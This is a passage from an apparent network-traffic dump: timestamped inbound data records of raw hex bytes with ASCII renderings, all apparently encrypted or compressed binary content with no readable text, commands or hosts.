fb d8 ea c9 06 a2 ff aa 3a 31 24 a9 Data Ascii: ts54VZq9k[28:{wOLC/gHv1CRD->T*CRQ! jyyizAC-?^B:~.AC3{2.d.x> lEWh-zCrIMIPjJ=\|\]U:1$
2022-01-13 19:22:56 UTC	1063	IN	Data Raw: d0 62 72 78 2f 29 91 93 0e 47 35 3c ed 9d 71 83 4f 66 23 7b 27 68 62 e3 87 62 b6 56 73 5c 02 05 db 60 ea 82 e7 9d 8f 4a bf fb 94 68 c3 e1 b2 5a ea d6 fa f2 aa df 02 99 5b 99 fc e7 ff 94 04 1c 18 ff b0 0c 33 e0 3b 18 33 96 47 f0 4c f9 d3 8f 13 7b de 91 7b 5b e1 64 ee d6 9e 3b 0c fc 47 e8 ce 56 8c 34 7c b6 15 41 0e 59 f9 b3 25 82 31 e7 35 ae b1 5f 6d 8d 90 cc 81 b1 dc 8e 55 9d 5f 24 2b c5 fe 7f 87 19 5b b3 17 6f 0a c7 f0 0f eb d0 42 2a 97 10 79 e2 7b 16 56 f1 22 7b f2 f9 f9 01 2e 0f c1 9a 98 4b 56 e0 9f 36 87 b2 92 01 4a b0 2f a3 04 07 2c c1 36 01 23 f3 90 f3 72 e3 14 49 57 c0 6c 9f 29 7f 2d 98 11 61 b4 e1 04 ae 3b b6 73 85 a9 5e 52 2b 40 a2 89 73 a7 bb d2 00 af 7e c8 e2 9d 83 59 14 30 b1 d9 21 54 8d 9a d7 91 bb 5b 6d 19 2f 93 9e e5 fa f9 bc 63 aa 67 02 ac Data Ascii: brx/)G5<qOf#{'hbbVs\`JhZ[3;3GL{{[d;GV4\|AY%15_mU_$+[oB*y{V"{.KV6J/,6#rIWl)-a;s^R+@s~Y0!T[m/cg
2022-01-13 19:22:56 UTC	1064	IN	Data Raw: 34 bb 18 41 a5 5b 86 4d 4e 44 6d 04 af 76 2b 9a 7d 7e bb 0e 41 27 b5 b2 28 a1 33 86 5c 19 0e 4b 28 a2 94 da ef 3a 28 72 e5 5a fd 55 fd d3 78 5e 25 81 86 4b 01 24 76 5e 76 a3 98 cd b6 3c 44 93 00 7c d7 09 3d c8 81 ac 37 d2 5e ef 39 31 19 cb c6 1f 9c b6 29 da e6 ef 38 71 3a 2b cb e0 8a 59 8c 92 65 7d 9b 55 d7 7f c9 77 4b 15 ad ac 27 54 f3 c9 8e bc ae b1 44 2f 78 b4 6c e7 64 85 8d ec a7 f4 b6 30 0e fb 10 57 01 86 cd ab c4 d8 8f 8d b7 c1 53 72 36 0b dc 31 4e a5 f4 4d 63 d0 fa 42 d5 b3 bd 04 f5 94 c1 74 fe 97 b5 d5 77 70 f4 c2 d0 4f 59 13 7a b0 96 69 71 27 fd d8 fe 23 09 fd 85 9a 96 1f 47 f0 a6 bd f7 c3 c8 0b d0 52 61 ac 87 6b dd 6e 91 6f 00 a4 12 e7 9c ce b8 2a 76 bb 87 b4 2b 96 d3 22 08 f5 81 a2 0b fc 65 07 37 30 35 d8 c5 3b 33 d8 ec b9 79 07 27 f2 a9 47 c1 Data Ascii: 4A[MNDmv+}~A'(3\K(:(rZUx^%K$v^v<D\|=7^91)8q:+Ye}UwK'TD/xld0WSr61NMcBtwpOYziq'#GRakno*v+"e705;3y'G
2022-01-13 19:22:56 UTC	1066	IN	Data Raw: ff 73 97 e7 25 e0 0a 39 ad 4c da cd e0 cf 6f 4e c6 d8 63 86 40 29 30 db 0a dc 25 54 00 d7 06 b1 c8 99 91 eb 03 87 db 0c ad 7e c4 92 6a c8 fa 57 d7 85 cf 76 0b 22 66 68 46 db 68 2c f9 18 32 19 d6 e6 df 77 3e f3 5f 6d 0d 79 f6 26 31 9b be c9 6f ac d4 ef 3b 18 9e 02 d5 e0 02 19 b1 b1 b1 cd 2e 71 20 c0 47 4a d7 ba 0c 31 da 8e 36 13 c2 aa da 88 49 de 63 01 c4 1e 71 59 cf 97 27 93 ff d6 fc 2a 6a 8a e0 3f b1 b1 05 fd ac 81 4b 4c 6c 98 25 9d d9 0a fc 5c e4 8b 5c e3 14 bd 99 f4 3b 39 39 1f 99 e0 96 04 f5 a9 8b 9b 62 80 48 77 e3 78 1b 05 94 15 d1 6c cc d6 e5 10 3c 7d 31 de 8e 07 9a b3 23 97 ff da d7 03 34 be c9 77 b6 90 cf 12 46 c0 80 f8 66 67 4d 04 ad f2 52 a3 d6 97 df b2 32 0d 6b c0 26 d8 80 41 8e dd 13 cd c7 26 7e a7 a0 8d fd d7 a1 d4 f1 87 da cf 0f 9d 91 b1 bf Data Ascii: s%9LoNc@)0%T~jWv"fhFh,2w>_my&1o;.q GJ16IcqY'*j?KLl%\\;99bHwxl<}1#4wFfgMR2k&A&~
2022-01-13 19:22:56 UTC	1067	IN	Data Raw: a0 71 38 75 19 d6 81 6b 74 b1 18 e0 8c e4 7a d1 dd 4b 20 22 30 56 7e 84 15 0e de 24 7b cc 28 a7 d9 79 94 18 3e 57 14 52 a4 23 e4 af 00 c0 d8 f8 39 bd a1 b3 ad b9 e1 02 1e aa 58 f4 f8 56 be 89 8f 40 09 7e 65 da e1 9f b9 d4 74 a4 87 e3 ca 20 70 c0 7d 2e b5 a1 e6 37 c8 80 0a ba 8c 5b 22 7f 21 49 43 dc 26 60 af b0 7c a6 4f 57 f5 69 10 32 72 09 81 b1 12 d6 a8 18 41 ab d3 08 60 1d fd c2 db 1f f1 fb 66 8b c4 6a 01 2a 15 89 f3 cc ee 0f 11 3b 1f 32 95 f4 cf bb df 32 41 71 81 7b 54 01 28 8b 8e 16 cc 94 15 4f b3 d2 ec da 65 07 6f 45 25 5e 9a 03 8c ae 45 a7 41 fb d1 e6 4a d6 20 0e 8d fb de 92 76 03 08 e7 f8 1c 32 15 fc ea bb f4 ac 51 c2 cb 83 ca 82 20 11 33 40 6b b1 44 5b 26 9f eb 2a 05 6a 65 11 5c 1b d6 15 3d b9 d3 cc e6 0c f8 5e 55 82 53 cc 50 cd cb 85 db 1a dc 76 Data Ascii: q8uktzK "0V~${(y>WR#9XV@~et p}.7["!IC&`\|OWi2rA`fj;22Aq{T(OeoE%^EAJ v2Q 3@kD[&je\=^USPv
2022-01-13 19:22:56 UTC	1068	IN	Data Raw: 23 eb f3 ee bf 4a 5e 1e db 75 2f c3 41 bc cf eb bd 2c e5 ef 96 68 4b 2d 25 62 77 3b b7 ac 7a ce f9 87 c6 d7 01 85 0c 37 1f 25 bd 35 d6 54 ef 23 e4 af f3 66 b1 f3 12 07 37 fb c9 f7 75 dc 83 c1 50 a5 eb 3b 72 9a 76 ac b6 ae c5 5d 70 aa 60 9b ee d0 f9 d7 1f 73 84 48 ce f1 38 79 45 40 ec ea a3 9e 4d 57 fc e1 07 25 f7 c5 3c be 58 19 c9 76 b1 d2 f2 1e 70 bb 43 f2 5f da 26 9f 80 4f 44 4e 49 a1 74 a0 1c 73 49 43 5b 66 9b f5 92 75 68 fb 77 8f 61 7c b0 28 7e d6 99 a8 94 6f 05 8a 8c b8 21 d3 1f 37 e9 2a 27 ba 53 76 ed ee 99 63 5c 53 dd 24 b3 92 23 eb 9d ec d0 5c e7 99 e6 da 95 f4 43 c1 19 5b bb 17 d6 9b f2 41 c4 72 09 1d fc 47 43 d8 d4 68 3e 1f e1 07 29 98 08 b7 b4 35 16 65 57 68 82 5a f2 3d 31 7e 86 51 55 6f 7c f6 e1 89 e2 9e 04 a5 91 f7 d9 17 d9 fe 9b b4 c5 25 6a Data Ascii: #J^u/A,hK-%bw;z7%5T#f7uP;rv]p`sH8yE@MW%<XvpC_&ODNItsIC[fuhwa\|(~o!7*'Svc\S$#\C[ArGCh>)5eWhZ=1~QUo\|%j
2022-01-13 19:22:56 UTC	1070	IN	Data Raw: d2 6c 80 4e d8 8e 0f 98 df ac 2a 02 b8 29 98 ed 35 94 6c 39 42 5b c1 8d 84 f0 64 df 64 ce f2 5d 6a 8a 2a 97 97 e5 51 5f b9 43 b9 42 8e af dd 03 cc a4 74 fd d1 74 0b fd d0 f5 a4 d8 55 cb ad ce 88 c7 c6 c9 68 85 cd 11 cc 3a 3f a9 9a df 89 69 01 28 06 bf a3 50 d4 9d 81 3f a5 98 7e f0 bd 45 4a ce 6e 75 2c 17 d7 0b a2 a9 7b 3d d0 f1 b0 27 ff c2 39 79 5a 94 f8 0b a7 f2 54 78 ab a7 86 5f b2 41 14 bc a8 8b b0 58 bf 4a 99 e0 3a 5c e6 c7 f8 21 96 08 d2 e1 54 d1 7b 36 e7 14 a4 d9 6b f9 07 48 67 c4 94 c7 a8 bc e2 d9 d3 5b 50 0c a0 60 68 8b 6d 14 2a 19 d1 65 7e d0 a1 01 1b a4 19 dc 87 dd bd d7 0a b1 b8 2a 84 9d ed 4e 7e fb ca b1 23 45 57 61 6d 08 a8 de 8a 46 c7 23 fe 4b 5f 78 27 14 4b 46 d4 fd 54 d6 e8 d5 35 0b 56 ee a3 93 e3 02 75 2c 0a af 32 a7 e7 b7 4e b9 e6 fc 2d Data Ascii: lN)5l9B[dd]jQ_CBttUh:?i(P?~EJnu,{='9yZTx_AXJ:\!T{6kHg[P`hme~N~#EWamF#K_x'KFT5Vu,2N-
2022-01-13 19:22:56 UTC	1074	IN	Data Raw: dd 15 ce fd c5 b3 be b2 70 de 7f 14 07 5a fc 56 f5 8f 9f 61 b4 52 a2 02 a4 01 69 6d 4e c7 38 45 3a 4b 4f 4e 90 74 b5 09 ed 4e 9b be 98 26 b7 f6 f1 b7 4d 69 87 c7 ea 8c 97 4e aa 81 c8 53 4a 3d 51 80 3c 65 a7 6f 72 00 11 f4 ea 1a 47 d7 ef 32 85 23 e4 37 1c 7e 13 35 9f d1 de 25 ec 1e 8e 08 e0 f9 69 6e a9 e7 b8 86 ea a2 6f da 3d 81 86 56 ad b8 fc b9 70 1f fd 91 f3 19 31 bf 16 57 27 f8 84 f4 75 7d 2e 11 d2 33 7f d5 99 43 06 5b 37 68 65 09 82 56 fd c6 f1 3a 29 28 5b 11 b6 7f b3 f5 ae 3f 02 e5 30 0d 5c e8 12 97 85 7b 2c 6b a6 80 44 31 92 c4 da 8d ea cd 77 6a 8f 37 a8 1f 90 61 74 af 41 af 5b 29 fc 37 09 a0 3e 2a 1d fa bd 66 d7 b5 ef 3c 8f 87 c0 7b 81 23 65 fa 55 1c 19 7b 85 af bd 9e 20 73 3b 37 0e db 49 50 c7 21 96 15 62 4e 6c 37 2f 98 06 a9 7e 8d fb ca 44 98 38 Data Ascii: pZVaRimN8E:KONtN&MiNSJ=Q<eorG2#7~5%ino=Vp1W'u}.3C[7heV:)([?0\{,kD1wj7atA[)7>*f<{#eU{ s;7IP!bNl7/~D8
2022-01-13 19:22:56 UTC	1078	IN	Data Raw: 9a d3 0e eb d1 64 ee fa d2 85 ad b5 a8 d1 67 0e ad 7f 32 a3 49 ce 14 fe b1 bd 36 8d 0f 09 46 85 cf 11 d5 5a 39 b7 ac 99 30 78 5b a0 4c 2a a2 ea a3 da 97 a5 89 93 e2 0f a0 18 38 6f 0e 39 d3 af 47 45 5e fb c8 fe 9d 6b 1a 6c 91 e8 a6 08 40 fe 43 be 26 a4 76 0a 09 30 61 1b e1 65 dd 0e 58 5f bc b2 71 b4 0b 8c 83 52 f3 35 56 62 3b 75 06 aa eb b7 ab f7 44 43 28 10 a1 81 b7 dd b5 e3 7b af d6 2e b9 54 9d c2 b2 50 ba 0f 71 37 b2 3a 32 12 86 ec a1 91 e6 ac 20 6e d4 2b 84 56 0a 61 03 9c c7 ed 3d 56 23 b8 ad 8d ad 66 23 4b 47 05 ac 5e ed 55 2e 08 2b 3c 23 8e 35 fa 33 ed 20 d9 cc ee b2 a1 e6 a1 fd b9 e6 b1 bb 4d 91 f7 cf 99 24 19 5e 25 49 54 97 50 07 6f 42 ca 68 64 9f 25 d5 3d 62 85 3b 2d ed 4a 6a 9f 3a 3d 16 57 73 3e 44 9e 40 5a bb cb 7f 34 ca 0e 72 d5 97 2e 05 3e 2f Data Ascii: dg2I6FZ90x[L*8o9GE^kl@C&v0aeX_qR5Vb;uDC({.TPq7:2 n+Va=V#f#KG^U.+<#53 M$^%ITPoBhd%=b;-Jj:=Ws>D@Z4r.>/
2022-01-13 19:22:56 UTC	1079	IN	Data Raw: 61 39 a0 73 ff d4 f1 80 89 ba 7a 6a 1a 40 a1 e2 f0 29 6e 8e ca 90 27 f1 6d 05 41 00 73 4d 3f cf 33 87 d0 28 1a 6f fc 8f 84 cc c7 90 a8 67 96 be 92 34 54 70 64 dc 56 c8 94 cf 76 1d ee da 23 4d 26 1b 49 0b a6 79 6a 3f 41 c0 77 97 ec c1 fd a4 2f fa a3 9f cc 98 26 da d1 67 76 37 fb c4 79 d2 f1 fa ef 1a 18 4c de 9d 11 97 c3 fe 03 31 39 e1 02 3f ed 38 81 8c 53 48 d5 9f 88 46 2e db 6a 2b 5b 86 3e d1 6c f0 d9 6b 02 27 6b 1a 66 31 4b 2b 31 4e 23 89 70 db 68 fb c9 04 76 a5 8a b4 f7 b1 e2 df 9a a5 db 99 d8 c3 85 82 18 9c 05 30 14 5d 20 cf 55 3e e9 a7 74 31 e3 ba df a9 9f ed a3 79 48 43 9c 97 43 af 19 d3 78 ea cb f0 08 ab 61 95 e7 3c 35 92 d3 65 6e 59 83 c5 49 5e ec b0 83 29 8c fc cb ee a5 8d ef 2a ab 47 4e b0 57 cd 8c 3b ca fe 89 7f d9 13 5b 5f 9b 3b c5 bd 86 4b 4b Data Ascii: a9szj@)n'mAsM?3(og4TpdVv#M&Iyj?Aw/&gv7yL19?8SHF.j+[>lk'kf1K+1N#phv0] U>t1yHCCxa<5enYI^)*GNW;[_;KK
2022-01-13 19:22:56 UTC	1083	IN	Data Raw: 95 20 f9 27 23 5c 17 1d 40 8d c2 41 54 d3 35 38 cf 46 85 b2 66 9f d0 8d 70 d9 3f cb 10 53 3e ef 39 af e1 11 81 b8 aa 9c d7 7f b9 50 3b 77 27 e0 28 de eb cb b6 6f 1c 2f fa c1 c3 0e 5a fe 52 a4 66 53 eb 78 bb 4a c2 dc 2d 30 52 d6 96 65 a3 61 29 83 c2 d4 6e 72 5e f4 4b 50 39 4a 4e c4 d5 74 0c fa b8 a6 fa a1 20 85 2e 41 58 06 16 f4 ff 75 3a 25 38 33 8d 60 3a 65 05 76 ce 57 1c f1 51 2c cd 8b 79 31 04 5a 74 3b 4d f1 9a c4 7a 27 43 1c ff 39 07 93 04 1d 43 5e 3e 6a 32 a3 4a 61 c9 a9 95 de 55 6f 0b 91 e7 7e a3 f7 bd 58 a1 37 a9 9e bf 87 20 c8 01 f0 51 95 8e 89 51 5a f7 c2 4e 69 2d e3 70 a3 20 b5 b2 29 15 f2 ae f4 3a cd 47 20 d7 71 3e 39 ab 30 6e a1 eb 2a 4b 89 d7 17 4e 6d ca 71 92 79 3d d5 1c f4 ae 58 ef 49 80 43 a0 9e 6a e0 35 aa 47 89 3f ac 34 01 56 33 90 65 b1 Data Ascii: '#\@AT58Ffp?S>9P;w'(o/ZRfSxJ-0Rea)nr^KP9JNt .AXu:%83`:evWQ,y1Zt;Mz'C9C^>j2JaUo~X7 QQZNi-p ):G q>90n*KNmqy=XICj5G?4V3e
2022-01-13 19:22:56 UTC	1087	IN	Data Raw: f2 43 ad 72 ad a2 9c 62 e4 06 08 d9 70 c9 07 56 81 d3 a9 97 eb 27 45 97 94 3f ef c1 8b 8a cc d3 27 3c 6e 1e 98 e5 1b f1 1f 8b 26 40 e1 e3 7d 91 ea c6 b1 fa fd 56 8a c4 26 1e 13 ce 66 4a c5 4e 65 67 79 94 36 7d 53 47 9f 11 c0 df b8 d0 9c 44 3d d0 9b e7 8a 8a 48 c5 1e 60 ab de 93 46 13 c9 76 0b 80 bc 64 6b 6f 63 46 d0 a2 06 df 69 12 fc 5e f5 c1 f1 8b 3f ab a4 14 2f 9a 8d 33 81 c7 8a 90 89 66 ec 1f 5a 02 b2 3b ac 41 c0 cd 2a 97 e4 b0 85 b2 46 81 c6 a5 fd d9 5c 27 e3 03 7b 2a 41 c0 c4 82 99 fa 4a 6c 23 9c 6b 50 c3 00 b9 25 84 57 16 55 6b 07 db d6 dc d8 87 ac f2 46 c3 ec cc a1 f8 5a 64 2d 88 4e 41 37 da 39 6d fb b6 7f c6 9f 93 93 b7 bf 76 af a7 92 c0 3f d1 e6 db 69 83 70 27 98 18 22 0e 38 6e 9d 0b d5 61 6d ab 6f e2 cf 2b d2 ad 6d 43 75 ff 3c 42 68 36 07 06 dd Data Ascii: CrbpV'E?'<n&@}V&fJNegy6}SGD=H`FvdkocFi^?/3fZ;AF\'{AJl#kP%WUkFZd-NA79mv?ip'"8namo+mCu<Bh6
2022-01-13 19:22:56 UTC	1091	IN	Data Raw: cc ad b6 3c 2e e3 c0 ab f6 15 16 57 68 9d 9b a5 3e 0e 0b 12 7c ed e1 6f ad c0 44 26 d3 67 75 51 35 31 d7 6b bb b6 52 97 72 8d 9e 91 be c3 dc 8f f2 76 0f b2 23 88 cd 15 2b 18 bb 66 e8 f9 cd 1b 78 00 92 13 09 8f d3 d4 44 cc 00 6f a5 a5 ad 62 b1 d8 4e 3f 99 35 63 1c ae fd 34 27 e1 53 e2 9f 4f bf 6c e9 06 25 2a c5 b3 b7 d7 c5 76 c0 1f 04 a8 af d0 f6 92 b4 db 02 4e e4 7d ca f4 6a 7c 68 ef 97 62 90 7a b6 9a 9f 87 7f b0 8b b4 3c 4b 34 8f 09 4d 4c ee 06 7b cd 32 81 2d 83 53 3e a3 fd d3 18 f5 ac e4 db 55 6d 62 2f 7f a4 07 1e d3 b2 71 c3 fa bf 9c ae f2 1e 8f a9 77 48 d1 a4 8d f2 58 51 8c 24 9c c1 13 cf f2 64 cf d8 ff 75 53 97 8e 60 62 2b 87 c0 77 80 88 f8 2e 6e 3d b7 23 f7 3c 51 2a 98 6e 6d 7c bb d0 5e ea b3 05 e5 59 fc a2 f1 3c 94 6c 9a e0 e2 96 2b 67 ab 1b e3 b4 Data Ascii: <.Wh>\|oD&guQ51kRrv#+fxDobN?5c4'SOl%vN}j\|hbz<K4ML{2-S>Umb/qwHXQ$duS`b+w.n=#<Qnm\|^Y<l+g
2022-01-13 19:22:56 UTC	1096	IN	Data Raw: fc e8 90 27 e4 56 ef fd 39 85 a2 0c 22 6b 4a 5e 1c 7b d7 74 b1 ac 3d fb 28 a9 71 62 92 64 83 05 77 29 8b d1 1e 3f 1f 91 42 2e c1 cb 67 0b cd b3 c8 7e 12 1e 74 be dd 79 a5 f3 06 da 8c df ab 1d f3 c6 d0 ab 20 fd 79 6c 9d 94 65 c6 97 ec aa 3b c5 0d 6a 71 b9 53 f1 a4 0b cf 62 43 dd bc 57 10 49 5b 63 62 2a e3 c0 a8 1f 02 46 d0 f4 a5 5d 0a c1 31 c9 f6 cb 19 47 e5 24 11 de 80 1a e9 84 aa fa 3d de 96 38 cc e1 05 a1 53 4f 27 f2 4d 3b 68 32 72 d0 f7 d5 c0 d1 6e 92 62 69 b0 27 f1 dd 21 6a 7b 2b 66 41 d6 36 a0 1a 63 19 58 06 55 10 2d f7 b6 9f ca 99 95 e4 48 20 76 ab ee d3 e5 54 7b 43 12 f7 99 f3 be d0 08 0d d8 98 3a 2e 43 d6 e1 48 da 46 a3 93 f7 3b 67 89 39 69 4f 38 4b 18 34 62 cb 6d b8 43 bd 4e 66 56 95 b3 fa 97 f9 d5 63 12 10 d8 a0 53 9d d3 39 2d 57 3b 09 07 66 44 Data Ascii: 'V9"kJ^{t=(qbdw)?B.g~ty yle;jqSbCWI[cb*F]1G$=8SO'M;h2rnbi'!j{+fA6cXU-H vT{C:.CHF;g9iO8K4bmCNfVcS9-W;fD
2022-01-13 19:22:56 UTC	1100	IN	Data Raw: 72 32 0e f5 9a ea 87 81 1d 5d 7a d5 35 74 30 ab c9 d0 dd 7d db f8 46 d5 6a ff 46 b8 36 81 a9 89 aa 49 e3 11 71 ee 9d e6 ae 35 f1 5a ba cc a0 12 0d d5 1c 08 ab ca a0 12 5e 58 8e 13 b9 47 61 24 66 8b 4b a5 9e ea 62 72 ea eb 62 2f b7 eb fd 6a 88 30 6b a7 12 5c e2 96 98 73 42 48 73 dd 14 57 68 7e a8 6e db fd 4b e7 09 39 b4 27 9f 1e dd 10 29 10 f3 fb d2 f7 d6 fd 4c bd 37 da e4 c3 30 70 dc 26 0b d9 1e b2 73 3a 39 01 42 5a 8f fd 57 29 9a 61 c5 97 71 7d 6d d7 05 20 71 30 5d d5 46 82 87 3a 3c 58 af 41 1b 44 47 30 15 dc 1e d6 88 c3 e0 99 9a 18 f6 a0 0c 22 6b 1d 95 8c f3 bf 29 fd a7 e2 ec cb 76 f1 77 33 99 5b 03 4e b5 19 fd c9 8c 06 ae 37 1f 32 99 a4 e5 ed dd 27 b2 4e 4c 01 6f 89 f8 0c 81 73 23 9a 22 84 ee 24 5b 78 a8 07 85 fb a5 25 5b 7a b0 21 63 b8 2c 67 a6 f4 4a Data Ascii: r2]z5t0}FjF6Iq5Z^XGa$fKbrb/j0k\sBHsWh~nK9')L70p&s:9BZW)aq}m q0]F:<XADG0"k)vw3[N72'NLos#"$[x%[z!c,gJ
2022-01-13 19:22:56 UTC	1104	IN	Data Raw: 95 f0 59 b8 41 52 c7 6a cd 26 2c 98 5b 21 2f 25 0a d3 92 cf 7d 3d ab 4e 3d ea 13 4b cf 14 c4 b9 d8 e3 71 5e 29 61 0f d6 12 f8 4e 6e 42 bc be b7 bd 56 f6 55 fd 34 0b 53 1a 0e d2 87 d3 c1 20 23 f0 1a 85 c8 99 81 df b1 f9 c6 dd a7 98 6d a9 40 51 e1 02 b0 74 fa 0c d4 c4 9c d0 66 ef ce 12 59 6a 10 21 56 05 52 7d 88 23 5b 0c 2c 64 15 62 f3 a7 f4 38 21 d0 fd d7 1a 8a 83 b0 6e cb 32 b0 15 91 39 42 ac 5e 41 88 4c c9 6a 71 8b bc 78 a6 15 cc f3 6d b5 c1 e2 51 54 e8 ac bb 3f ed d0 fc 55 e8 c3 c5 b6 4e 41 05 46 6a ea c6 a4 83 7d 53 3d df 78 a5 4d 5d 7c aa 9e c9 07 6d 4a 88 c2 e3 52 00 00 15 91 54 f9 d1 fc 2b 27 87 a5 37 44 42 9c b1 ce 96 d4 87 a1 ee cb 02 b4 22 70 be c1 ea 60 83 8d a8 52 7d 02 e1 d5 cb a8 5c 78 19 83 ac b2 29 20 de fd 48 46 b3 1a 0c 34 1a f6 57 6d fd Data Ascii: YARj&,[!/%}=N=Kq^)aNnBVU4S #m@QtfYj!VR}#[,db8!n29B^ALjqxmQT?UNAFj}S=xM]\|mJRT+'7DB"p`R}\x) HF4Wm
2022-01-13 19:22:56 UTC	1108	IN	Data Raw: 0b a7 94 51 1b 08 e6 7b 14 1b 39 67 37 f9 c2 88 b3 e5 84 ee c4 46 3d dc 33 cd 3f 09 2a 88 42 1c 1e 26 d9 59 eb 10 93 29 8b b0 4a d7 d1 69 4f 50 78 fd 89 7a da 7e 11 bd a9 6e c3 0d c7 aa 7e 51 99 b1 cc 5b 28 31 93 5b 27 4f 8c 80 34 e2 d7 d9 ea 94 f5 30 e2 30 cd e4 34 bf b0 be 43 9b e0 5a 33 4b e0 02 7b a5 96 76 e2 a7 b7 f4 17 6e a5 d8 17 2e e1 9b 15 82 af e3 eb 59 d4 8b 51 09 1e 23 72 b0 31 a4 b4 d4 da 5b 55 ec c9 17 61 70 9a 0f 34 63 e3 44 15 8d a2 dd f1 20 89 d2 66 96 93 9b 77 b7 33 f8 6a a1 a6 f7 8d c2 c2 0d c9 2b d4 6f d6 c6 4f 7d 59 08 5b b6 a6 48 79 ba 4e b3 84 9d b0 7f 58 ad 36 c4 6c 6a dc e9 c0 c4 ed 51 65 a2 a4 72 a1 78 d1 cf 73 51 ef d0 75 5a f4 a5 79 b4 82 3a a7 24 b7 a5 fe d5 fa 56 33 d7 af 3c 30 24 3a 1b 2a 77 a9 a6 74 c9 72 b8 46 d8 70 14 90 Data Ascii: Q{9g7F=3?B&Y)JiOPxz~n~Q[(1['O4004CZ3K{vn.YQ#r1[Uap4cD fw3j+oO}Y[HyNX6ljQerxsQuZy:$V3<0$:wtrFp
2022-01-13 19:22:56 UTC	1111	IN	Data Raw: 91 83 a9 c4 33 34 84 de 72 dc bb 02 92 04 d0 af 2b 60 a2 bc 6d c8 59 53 92 96 e5 fe 40 8e e1 c3 a6 a3 d7 c0 dc b3 49 18 e1 f0 b9 4a a5 71 64 b2 ab 8b a0 14 38 f0 df 12 22 af 64 90 03 e8 fc e3 08 e7 fe 99 4b 86 ab b9 7c 05 9c 8f b0 20 b2 27 3f 59 92 23 85 66 d6 4b 27 6f f8 0d 05 48 e9 92 7d a2 d2 f2 9a b8 f0 cf e6 b4 e6 31 8c df 0c 40 b7 b4 1f 99 ef 14 af 7e c7 b7 1e f4 c4 01 d0 c8 c6 57 7b 5d fe 26 c7 8b 91 ad 2a fd b7 a3 31 da 9a f3 58 f6 da 7b 86 17 7b fd ad c8 02 8f 18 ce 7e 39 f8 b4 2b 84 95 02 8b ed 80 c9 ad dc a7 69 85 11 29 29 34 e5 7f 46 9d a2 4f d9 d1 e2 80 09 82 09 bc df fe 8e e9 b6 79 c7 e1 9a a7 d0 8e 4f de 60 88 10 f9 02 e2 69 fd e0 97 23 e1 5f 34 95 66 ee 29 e5 d5 1a 69 fe 58 a8 4e 7d c9 03 f2 2b 18 72 44 ca b3 15 84 da b2 08 03 76 9d 1d d2 Data Ascii: 34r+`mYS@IJqd8"dK\| '?Y#fK'oH}1@~W{]&*1X{{~9+i))4FOyO`i#_4f)iXN}+rDv
2022-01-13 19:22:56 UTC	1115	IN	Data Raw: 43 98 be ad 3e 2f ed 74 0a 4c b7 45 54 09 ce 80 1c dd 8c f5 7a cf 98 b8 73 d2 56 6a 8b d5 76 ea 50 39 bc d4 17 c3 29 c2 6a 22 6e 8a 5a ef 6c e5 b7 50 ae 83 b2 2e 98 04 b3 b8 a9 9e 1b 72 18 40 58 80 27 fe 64 87 df 00 44 e1 6b f1 d0 7b 5a a6 d0 b6 7c eb e0 a6 a0 da 48 1a c0 4c ae 0c c3 a5 58 96 20 12 d9 07 9d 35 e9 8a e2 f9 ad 34 56 6a d8 2a 8e 7a 57 85 72 ba 6a ba 9b f4 dc f3 af 33 82 ac 09 76 d8 22 99 e3 fd ce fb cf 7c 36 7a d9 6b 55 75 d6 8b dd 14 ef e6 c1 12 1a 24 a7 bf 32 2f 57 e9 48 57 7a fd 4d d5 0a f7 21 41 d2 fb 9e 42 90 d2 89 3c 2a 1f fe b8 70 e7 c8 f9 c2 d4 4c 91 b2 98 9b 8d 8e ce b7 da 24 c6 df 94 be 7a 95 ab c3 fa 2e 06 5e 08 b6 63 64 35 7f 1f 8f 0c 82 00 bb 46 c6 45 55 86 f2 ca 0c a1 01 31 96 35 1a cb 72 48 d3 71 6e 61 dd be ce 5a 7e 5a f7 d8 Data Ascii: C>/tLETzsVjvP9)j"nZlP.r@X'dDk{Z\|HLX 54VjzWrj3v"\|6zkUu$2/WHWzM!AB<pL$z.^cd5FEU15rHqnaZ~Z
2022-01-13 19:22:56 UTC	1119	IN	Data Raw: 0d 00 b4 33 9c 90 df 0d d4 fb d0 b0 5f ae cc a8 1a 78 ab c1 41 a5 94 ba 7f 8f f8 45 40 4b 42 37 af 69 ab eb 3c 2f 8e 45 40 2d 82 91 5a ab aa 2f 8b 5e e9 26 67 d8 3f e4 ba c2 c4 de 89 d9 1b e6 67 85 d0 ee 0b 00 de d2 40 4c c3 4f 49 04 06 a7 88 ed ec b2 49 f2 87 be cb 6a 92 10 4d da 49 43 ac 93 23 8c 1c 28 5e bc 17 c4 24 d3 b2 09 5b d5 7e 52 df 23 e9 33 94 09 76 8d fb d0 e5 b8 85 ad b2 21 ef 71 3d cd af 18 31 86 47 56 e9 3b af 20 60 fa e3 c9 06 ee 8b d4 e1 05 28 bd 34 1b e0 2b 48 c3 37 00 01 4c c4 cc e6 dd 15 2e cb 62 89 4c 76 db 1a 66 99 86 4d 14 7a a4 00 3a 7c d8 c8 d7 15 ca e7 84 e3 71 2b 81 c0 b9 24 6b 92 97 fa 4b ad 6d 72 e1 73 23 83 74 a8 0d 2f 4e dc f1 91 40 16 45 59 7e d5 7d 2c c3 41 ac ce 3b df 5b 1d f5 f7 aa 3a 30 fb 1e 6e fc fc f1 24 72 b6 23 99 Data Ascii: 3_xAE@KB7i</E@-Z/^&g?g@LOIIjMIC#(^$[~R#3v!q=1GV; `(4+H7L.bLvfMz:\|q+$kKmrs#t/N@EY~},A;[:0n$r#
2022-01-13 19:22:56 UTC	1123	IN	Data Raw: a7 66 6e 95 1b aa 73 ab fe 21 65 09 ad 1d 9d 2a ae 5d 17 d9 19 a9 db ea ff c0 a2 a3 5e 52 a6 16 58 90 1f e8 67 04 a9 91 4d 32 76 3a 92 15 41 0a ca 0a 79 5b 0f 63 66 fa 3f 1f 0a c1 36 bf a7 fc 37 31 fe 32 77 24 42 74 f4 9d f4 8e 39 54 0c 5a c0 e2 c5 23 08 24 60 04 2a 7f 6b 00 05 db 73 87 72 c5 24 73 3d d6 c5 e2 c6 d0 91 4b 83 5a 80 40 35 eb 48 c1 1b fb d3 7f 67 77 42 ad 4a a1 22 c2 b0 c4 07 4c ba 69 7e db 66 85 e6 e2 d9 c6 30 c3 57 cd f3 5d 32 c1 be 47 ef 5f dd 08 2b 6d 7c 2f 39 cf 09 25 e2 e0 c9 dc d7 04 c1 f3 1e f0 c2 d0 eb 5b 18 57 9f 8c 42 29 15 a2 60 52 61 18 f9 a3 7e 7a d0 9d fd c9 5c ac 73 e9 3a d5 95 e2 15 62 e6 87 88 ff 35 55 88 9e 82 2b 24 70 32 a2 7c 5a 5c 83 b3 e6 a1 ff 72 6e 13 b8 22 7b 52 a2 0c 1b e0 